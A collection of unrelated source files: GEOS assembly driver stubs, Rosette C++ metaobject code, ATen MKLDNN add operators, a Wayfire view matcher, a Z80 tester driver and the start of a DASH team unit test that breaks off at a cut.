%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeDoNothing proc near
clc
ret
VMTreeDoNothing endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeStoreBodyStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calls VMTreeStoreBody
CALLED BY: DR_MBDD_STORE_BODY
PASS: see VMTreeStoreBody
RETURN: see VMTreeStoreBody
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/13/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeStoreBodyStub proc near
call VMTreeStoreBody
ret
VMTreeStoreBodyStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeReadInitializeStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_READ_INITIALIZE
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeReadInitializeStub proc near
call VMTreeReadInitialize
ret
VMTreeReadInitializeStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeReadNextBlockStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_READ_NEXT_BLOCK
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeReadNextBlockStub proc near
call VMTreeReadNextBlock
ret
VMTreeReadNextBlockStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeReadCompleteStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_READ_COMPLETE
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeReadCompleteStub proc near
call VMTreeReadComplete
ret
VMTreeReadCompleteStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeWriteInitializeStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_WRITE_INITIALIZE
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeWriteInitializeStub proc near
call VMTreeWriteInitialize
ret
VMTreeWriteInitializeStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeWriteNextBlockStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_WRITE_NEXT_BLOCK
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeWriteNextBlockStub proc near
call VMTreeWriteNextBlock
ret
VMTreeWriteNextBlockStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeWriteCompleteStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_WRITE_COMPLETE
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeWriteCompleteStub proc near
call VMTreeWriteComplete
ret
VMTreeWriteCompleteStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeDeleteBodyStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_DELETE_BODY
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeDeleteBodyStub proc near
call VMTreeDeleteBody
ret
VMTreeDeleteBodyStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeGetBodyStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_GET_BODY
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeGetBodyStub proc near
call VMTreeGetBody
ret
VMTreeGetBodyStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeStealBodyStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_STEAL_BODY
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeStealBodyStub proc near
call VMTreeStealBody
ret
VMTreeStealBodyStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeDoneWithBodyStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_DONE_WITH_BODY
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeDoneWithBodyStub proc near
call VMTreeDoneWithBody
ret
VMTreeDoneWithBodyStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeBodySizeStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_BODY_SIZE
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 6/29/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeBodySizeStub proc near
call VMTreeBodySize
ret
VMTreeBodySizeStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeWriteCancelStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_WRITE_CANCEL
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 10/ 6/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeWriteCancelStub proc near
.enter
call VMTreeWriteCancel
.leave
ret
VMTreeWriteCancelStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeDeleteBodyAppRefStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See routine that is actually called.
CALLED BY: DR_MBDD_DELETE_BODY_APP_REF
PASS:
RETURN:
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 10/ 6/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeDeleteBodyAppRefStub proc near
.enter
call VMTreeDeleteBodyAppRef
.leave
ret
VMTreeDeleteBodyAppRefStub endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VMTreeCheckIntegrityStub
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See VMTreeCheckIntegrity
CALLED BY: DR_MBDD_CHECK_INTEGRITY
PASS: See VMTreeCheckIntegrity
RETURN: See VMTreeCheckIntegrity
DESTROYED: See VMTreeCheckIntegrity
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
AY 3/13/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VMTreeCheckIntegrityStub proc near
call VMTreeCheckIntegrity
ret
VMTreeCheckIntegrityStub endp
Resident ends
|
/* Mode: -*- C++ -*- */
/* @BC
* Copyright (c) 1993
* by Microelectronics and Computer Technology Corporation (MCC)
* All Rights Reserved
*
* Permission to use, copy, modify, and distribute this software and its
* documentation for any purpose and without fee is hereby granted,
* provided that this notice be retained unaltered, and that the name of
* MCC and its shareholders and participants shall not be used in
* advertising or publicity pertaining to distribution of the software
* without specific written prior permission.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
/*
* $Header$
*
* $Log$
@EC */
#ifdef __GNUG__
#pragma implementation
#endif
#include "rosette.h"
#include "RblAtom.h"
#include "Ctxt.h"
#include "Interrupt.h"
#include "Meta.h"
#include "Prim.h"
#include "Table.h"
#include "Tuple.h"
#include "BuiltinClass.h"
#include <memory.h>
BUILTIN_CLASS(StdMeta) {
OB_FIELD_INDIRECT("map", STDMETA_MAP_SLOT);
OB_FIELD_INDIRECT("ref-count", STDMETA_REFCOUNT_SLOT);
OB_FIELD_INDIRECT("extensible", STDMETA_EXTENSIBLE_SLOT);
}
extern pOb emptyMbox;
StdMeta::StdMeta(pExt ext)
: Actor(sizeof(StdMeta), CLASS_META(StdMeta), CLASS_SBO(StdMeta), emptyMbox,
ext) {
StdMeta::updateCnt();
}
pMeta StdMeta::create(pTuple map, pOb ref_count, pOb extensible) {
PROTECT(ref_count);
PROTECT(extensible);
RblTable* tbl = (RblTable*)INVALID;
PROTECT(tbl);
/*
* During the boot phase, we use map == NULL to avoid prematurely
* allocating RblTables whose parents and metas can't yet be properly
* initialized.
*/
if (map != NULL) {
PROTECT(map);
tbl = RblTable::create();
KONST int n = map->numberOfElements();
KONST bool indirect = extensible == RBLTRUE;
for (int i = 0; i < n; i++)
tbl->addKey(map->elem(i), LexVar(0, i, indirect).atom);
}
pExt ext = StdExtension::create(BUILTIN_STDMETA_SLOTS);
ext->slot(STDMETA_MAP_SLOT) = tbl;
ext->slot(STDMETA_REFCOUNT_SLOT) = ref_count;
ext->slot(STDMETA_EXTENSIBLE_SLOT) = extensible;
void* loc = PALLOC1(sizeof(StdMeta), ext);
return NEW(loc) StdMeta(ext);
}
pOb StdMeta::cloneTo(pOb new_meta, pOb new_parent) {
extern pOb NILmeta;
if (this == NILmeta)
return this;
PROTECT_THIS(StdMeta);
pMeta ob = (pMeta)SELF->Actor::cloneTo(new_meta, new_parent);
PROTECT(ob);
ob->extension->slot(STDMETA_REFCOUNT_SLOT) = FIXNUM(0);
pOb new_map = ob->extension->slot(STDMETA_MAP_SLOT)->clone();
ASSIGN(ob->extension, slot(STDMETA_MAP_SLOT), new_map);
return ob;
}
pTuple StdMeta::keys(pOb) { return map()->dumpKeys(); }
pTuple StdMeta::locs(pOb) { return NIL; }
Location StdMeta::keyLoc(pOb key, pOb) {
pOb atom = map()->getKey(key);
if (atom == ABSENT)
return LocLimbo;
else {
Location loc;
loc.atom = atom;
return loc;
}
}
pTuple StdMeta::locContour(pOb) { return map()->dumpPairs(); }
pTuple StdMeta::contour(pOb client) {
PROTECT_THIS(StdMeta);
PROTECT(client);
pTuple result = SELF->locContour(client);
int limit = result->numberOfElements();
for (int i = 1; i < limit; i += 2) {
Location descriptor;
descriptor.atom = result->elem(i);
result->elem(i) = valWrt(descriptor, client);
}
return result;
}
pOb StdMeta::get(pOb client, pOb key, pCtxt) {
Location loc = keyLoc(key, client);
pOb container = BASE(client);
/*
* This unfolding of the valWrt function pays big dividends during
* method lookup.
*/
switch (GET_GENERIC_TYPE(loc)) {
case LT_LexVariable:
if (GET_LEXVAR_IND(loc))
container = ((Actor*)client)->extension;
return container->slot(GET_LEXVAR_OFFSET(loc));
case LT_Limbo:
return ABSENT;
default:
return valWrt(loc, client);
}
}
pOb StdMeta::add(pOb client, pOb key, pOb val, pCtxt ctxt) {
Location descriptor = keyLoc(key, client);
if (descriptor == LocLimbo)
if (clientsAreExtensible()) {
PROTECT_THIS(StdMeta);
PROTECT(client);
PROTECT(key);
PROTECT(val);
KONST int offset = client->addSlot(key, val);
const int INDIRECT = 1;
pMeta new_meta = SELF;
if (SELF->isShared()) {
new_meta = StdMeta::create(NIL);
PROTECT(new_meta);
pOb new_map = SELF->map()->clone();
ASSIGN(new_meta, parent(), SELF);
ASSIGN(new_meta->extension, slot(STDMETA_MAP_SLOT), new_map);
client->meta()->deleteRef();
new_meta->addRef();
/*
* At this point, we know that client must be an
* extensible object with an extension field, so we cast
* it appropriately.
*/
ASSIGN(client, meta(), new_meta);
ASSIGN(((Actor*)client)->extension, meta(), new_meta);
}
new_meta->map()->addKey(key, LexVar(0, offset, INDIRECT).atom);
}
else
return BASE(ctxt->trgt)
->runtimeError(ctxt, "can't add slot to non-extensible object");
else
setValWrt(descriptor, client, val);
return client;
}
pOb StdMeta::set(pOb client, pOb key, pOb val, pCtxt ctxt) {
Location descriptor = keyLoc(key, client);
if (descriptor != LocLimbo) {
setValWrt(descriptor, client, val);
return client;
}
else
return ctxt->missingBindingError(key);
}
void StdMeta::addRef(void) {
pOb& ref_count = extension->slot(STDMETA_REFCOUNT_SLOT);
if (ref_count != MAX_FIXNUM)
FIXNUM_INC(ref_count);
}
void StdMeta::deleteRef(void) {
pOb& ref_count = extension->slot(STDMETA_REFCOUNT_SLOT);
if (ref_count != MAX_FIXNUM)
FIXNUM_DEC(ref_count);
}
pOb StdMeta::lookupOBO(pOb client, pOb key, pCtxt ctxt) {
if (interruptPending)
return ABSENT;
pOb result = get(client, key, ctxt);
return (result == ABSENT ? BASE(BASE(client)->parent())->lookup(key, ctxt)
: result);
}
void StdMeta::allocateMap() {
PROTECT_THIS(StdMeta);
RblTable* map = RblTable::create();
ASSIGN(SELF->extension, slot(STDMETA_MAP_SLOT), map);
}
void StdMeta::becomeIndexed(int start_indexed_part) {
NEW(this) IndexedMeta(this, start_indexed_part);
}
BUILTIN_CLASS(IndexedMeta) {
OB_FIELD_INDIRECT("map", STDMETA_MAP_SLOT);
OB_FIELD_INDIRECT("ref-count", STDMETA_REFCOUNT_SLOT);
OB_FIELD_INDIRECT("extensible", STDMETA_EXTENSIBLE_SLOT);
OB_FIELD_INDIRECT("indexed-part", INDEXEDMETA_START_INDEXED_PART_SLOT);
}
IndexedMeta::IndexedMeta(pMeta meta, int indexed_part_start)
: StdMeta(BuildInPlace) {
PROTECT(meta);
pOb old_ext = meta->extension;
pExt new_ext = (pExt)old_ext->rcons(FIXNUM(indexed_part_start));
new_ext->meta() = CLASS_META(IndexedMeta);
new_ext->parent() = CLASS_SBO(IndexedMeta);
ASSIGN(meta, meta(), CLASS_META(IndexedMeta));
ASSIGN(meta, parent(), CLASS_SBO(IndexedMeta));
ASSIGN(meta, extension, new_ext);
}
pTuple IndexedMeta::keys(pOb ob) {
PROTECT_THIS(IndexedMeta);
PROTECT(ob);
int nslots = BASE(ob)->numberOfSlots();
int start_slot =
FIXVAL(extension->slot(INDEXEDMETA_START_INDEXED_PART_SLOT));
int N = nslots - start_slot;
pTuple base_keys = StdMeta::keys(ob);
PROTECT(base_keys);
int base_offset = base_keys->numberOfElements();
pTuple result = Tuple::create(base_offset + N, NIV);
memcpy(&result->elem(0), &base_keys->elem(0), base_offset * sizeof(pOb));
for (int i = 0; i < N; i++)
result->elem(base_offset + i) = FIXNUM(i);
return result;
}
Location IndexedMeta::keyLoc(pOb key, pOb client) {
if (IS_FIXNUM(key))
if ((client == ABSENT) ||
((0 <= FIXVAL(key)) && (FIXVAL(key) < client->numberOfSlots())))
return LexVar(
0,
FIXVAL(extension->slot(INDEXEDMETA_START_INDEXED_PART_SLOT)) +
FIXVAL(key),
clientsAreExtensible());
else
return LocLimbo;
else
return StdMeta::keyLoc(key, client);
}
pTuple IndexedMeta::locContour(pOb ob) {
pOb pob = BASE(ob);
PROTECT_THIS(IndexedMeta);
PROTECT(pob);
KONST int nslots = pob->numberOfSlots();
KONST int start_slot =
FIXVAL(extension->slot(INDEXEDMETA_START_INDEXED_PART_SLOT));
const int N = nslots - start_slot;
pTuple base_contour = StdMeta::locContour(pob);
PROTECT(base_contour);
KONST int base_offset = base_contour->numberOfElements();
KONST bool indirect = SELF->clientsAreExtensible();
pTuple result = Tuple::create(base_offset + 2 * N, NIV);
memcpy(&result->elem(0), &base_contour->elem(0), base_offset * sizeof(pOb));
for (int i = 0; i < N; i++) {
result->elem(base_offset + 2 * i) = FIXNUM(i);
result->elem(base_offset + 2 * i + 1) =
LexVar(0, start_slot + i, indirect).atom;
}
return result;
}
#define ENFORCE_META(prim, self, client) \
{ \
if (self != BASE(client)->meta()) \
return PRIM_ERROR("inconsistent meta and client"); \
}
DEF("keys", metaKeys, 2, 2) {
ENFORCE_META(metaKeys, ARG(0), ARG(1));
return BASE(ARG(0))->keys(ARG(1));
}
DEF("loc-contour", metaLocContour, 2, 2) {
ENFORCE_META(metaLocContour, ARG(0), ARG(1));
return BASE(ARG(0))->locContour(ARG(1));
}
DEF("contour", metaContour, 2, 2) {
ENFORCE_META(metaContour, ARG(0), ARG(1));
return BASE(ARG(0))->contour(ARG(1));
}
DEF("lookup-obo", metaLookupOBO, 3, 3) {
ENFORCE_META(metaLookupOBO, ARG(0), ARG(1));
return BASE(ARG(0))->lookupOBO(ARG(1), ARG(2), __CTXT__);
}
DEF("get-obo", metaGetOBO, 3, 3) {
ENFORCE_META(metaGetOBO, ARG(0), ARG(1));
return BASE(ARG(0))->get(ARG(1), ARG(2), __CTXT__);
}
DEF("add-obo", metaAddOBO, 4, 4) {
ENFORCE_META(metaAddOBO, ARG(0), ARG(1));
return BASE(ARG(0))->add(ARG(1), ARG(2), ARG(3), __CTXT__);
}
DEF("set-obo", metaSetOBO, 4, 4) {
ENFORCE_META(metaSetOBO, ARG(0), ARG(1));
return BASE(ARG(0))->set(ARG(1), ARG(2), ARG(3), __CTXT__);
}
DEF("lexvar", locLexvar, 3, 3) {
CHECK_FIXNUM(0, level);
CHECK_FIXNUM(1, offset);
CHECK(2, RblBool, indirect);
return LexVar(level, offset, ARG(2) == RBLTRUE).atom;
}
DEF("bitfield", locBitfield, 5, 5) {
CHECK_FIXNUM(0, level);
CHECK_FIXNUM(1, offset);
CHECK_FIXNUM(2, span);
CHECK(3, RblBool, indirect);
CHECK(4, RblBool, sign);
return BitField(level, offset, span, ARG(3) == RBLTRUE, ARG(4) == RBLTRUE)
.atom;
}
DEF("bitfield00", locBitField00, 3, 3) {
CHECK_FIXNUM(0, offset);
CHECK_FIXNUM(1, span);
CHECK(2, RblBool, sign);
return BitField00(offset, span, sign == RBLTRUE).atom;
}
|
#include <ATen/ATen.h>
#include <ATen/Config.h>
#include <ATen/NativeFunctions.h>
#if !AT_MKLDNN_ENABLED()
namespace at {
namespace native {
Tensor& mkldnn_add_out(
Tensor& result,
const Tensor& self,
const Tensor& other,
Scalar alpha) {
AT_ERROR("mkldnn_add_out: ATen not compiled with MKLDNN support");
}
Tensor mkldnn_add(const Tensor& self, const Tensor& other, Scalar alpha) {
AT_ERROR("mkldnn_add: ATen not compiled with MKLDNN support");
}
Tensor& mkldnn_add_(Tensor& self, const Tensor& other, Scalar alpha) {
AT_ERROR("mkldnn_add_: ATen not compiled with MKLDNN support");
}
} // namespace native
} // namespace at
#else // AT_MKLDNN_EBABLED
#include <ATen/native/mkldnn/MKLDNNCommon.h>
namespace at {
namespace native {
Tensor& mkldnn_add_out(
Tensor& result,
const Tensor& self,
const Tensor& other,
Scalar alpha) {
ideep::tensor& x = itensor_from_mkldnn(self);
ideep::tensor& y = itensor_from_mkldnn(other);
ideep::tensor& z = itensor_from_mkldnn(result);
const std::vector<float> scales{1.0, alpha.to<float>()};
ideep::sum::compute<AllocForMKLDNN>(scales, {x, y}, z);
return result;
}
Tensor mkldnn_add(const Tensor& self, const Tensor& other, Scalar alpha) {
ideep::tensor& x = itensor_from_mkldnn(self);
ideep::tensor& y = itensor_from_mkldnn(other);
ideep::tensor z;
const std::vector<float> scales{1.0, alpha.to<float>()};
ideep::sum::compute<AllocForMKLDNN>(scales, {x, y}, z);
return new_with_itensor_mkldnn(std::move(z), self.options());
}
Tensor& mkldnn_add_(Tensor& self, const Tensor& other, Scalar alpha) {
return native::mkldnn_add_out(self, self, other, alpha);
}
} // namespace native
} // namespace at
#endif // AT_MKLDNN_EBABLED
|
#include <wayfire/matcher.hpp>
#include <wayfire/util/log.hpp>
#include <wayfire/lexer/lexer.hpp>
#include <wayfire/option-wrapper.hpp>
#include <wayfire/condition/condition.hpp>
#include <wayfire/view-access-interface.hpp>
#include <wayfire/parser/condition_parser.hpp>
class wf::view_matcher_t::impl
{
public:
std::shared_ptr<wf::config::option_t<std::string>> option;
wf::lexer_t lexer;
wf::condition_parser_t parser;
std::shared_ptr<wf::condition_t> condition;
bool try_parse(const std::string& value, const std::string& opt_name)
{
lexer.reset(value);
try {
condition = parser.parse(lexer);
return true;
} catch (std::runtime_error& error)
{
LOGE("Failed to parse condition ", value, " from option ", opt_name);
LOGE("Reason for the failure: ", error.what());
condition.reset();
}
return false;
}
wf::config::option_base_t::updated_callback_t update_condition = [=] ()
{
if (!try_parse(option->get_value(), option->get_name()))
{
if (option->get_value() != option->get_default_value())
{
try_parse(option->get_default_value(),
option->get_name() + "(default)");
}
}
};
void connect_updated_handler()
{
if (this->option)
{
this->option->add_updated_handler(&update_condition);
}
}
void disconnect_updated_handler()
{
if (this->option)
{
this->option->rem_updated_handler(&update_condition);
}
}
void set_option(std::shared_ptr<wf::config::option_t<std::string>> option)
{
disconnect_updated_handler();
this->option = option;
if (option)
{
connect_updated_handler();
update_condition();
}
}
~impl()
{
disconnect_updated_handler();
}
};
wf::view_matcher_t::view_matcher_t()
{
this->priv = std::make_unique<impl>();
}
wf::view_matcher_t::view_matcher_t(
std::shared_ptr<wf::config::option_t<std::string>> option) :
view_matcher_t()
{
this->priv->set_option(option);
}
wf::view_matcher_t::view_matcher_t(const std::string& option_name) :
view_matcher_t()
{
wf::option_wrapper_t<std::string> option{option_name};
this->set_from_option(option);
}
void wf::view_matcher_t::set_from_option(
std::shared_ptr<wf::config::option_t<std::string>> option)
{
this->priv->set_option(option);
}
bool wf::view_matcher_t::matches(wayfire_view view)
{
if (this->priv->condition)
{
bool ignored = false;
wf::view_access_interface_t access_interface{view};
return this->priv->condition->evaluate(access_interface, ignored);
}
return false;
}
wf::view_matcher_t::~view_matcher_t() = default;
|
; Main driver for the Z80 tester.
;
; Copyright (C) 2012 Patrik Rak (patrik@raxoft.cz)
;
; This source code is released under the MIT license, see included license.txt.
org 0x8000
main: di
push iy
exx
push hl
call print
db 0x0d, 0
call print
db "Z80 "
testname
db " TEST", 13
db "(C) 2012 RAXOFT", 13
db "FOR MZ-80K/700/1500 BY SNAIL 2021 V1.0B", 13, 13, 0
ld bc,0
ld hl,testtable
jr .entry
.loop push hl
push bc
call .test
pop bc
pop hl
add a,b
ld b,a
inc c
.entry ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld a,d
or e
jr nz,.loop
call print
db 13,"RESULT: ",0
ld a,b
or a
jr z,.ok
call printdeca
call print
db " OF ",0
ld a,c
call printdeca
call print
db " TESTS FAILED.",13,0
jr .done
.ok call print
db "ALL TESTS PASSED.",13,0
.done pop hl
exx
pop iy
ei
ret
.test ld hl,1+3*vecsize
add hl,de
push hl
ld a,c
call printdeca
ld a,' '
call printchr
ld hl,1+3*vecsize+4
add hl,de
call printhl
ex de,hl
call test
ld hl,data+3
ld (hl),e
dec hl
ld (hl),d
dec hl
ld (hl),c
dec hl
ld (hl),b
pop de
ld b,4
call .cmp
jr nz,.mismatch
call print
db " OK",13,0
ret
.mismatch call print
db " FAILED",13
db "CRC:",0
call printcrc
call print
db " EXPECTED:",0
ex de,hl
call printcrc
ld a,13
call printchr
ld a,1
ret
.cmp push hl
push de
.cmploop ld a,(de)
xor (hl)
jr nz,.exit
inc de
inc hl
djnz .cmploop
.exit pop de
pop hl
ret
include print.asm
include idea.asm
include tests.asm
; EOF ;
|
#include "TeamTest.h"
#include <dash/Team.h>
#include <dash/Array.h>
#include <dash/Distribution.h>
#include <dash/Dimensional.h>
#include <dash/util/TeamLocality.h>
#include <array>
#include <sstream>
#include <unistd.h>
#include <iostream>
#include <fstream>
TEST_F(TeamTest, Deallocate) {
LOG_MESSAGE("Start dealloc test");
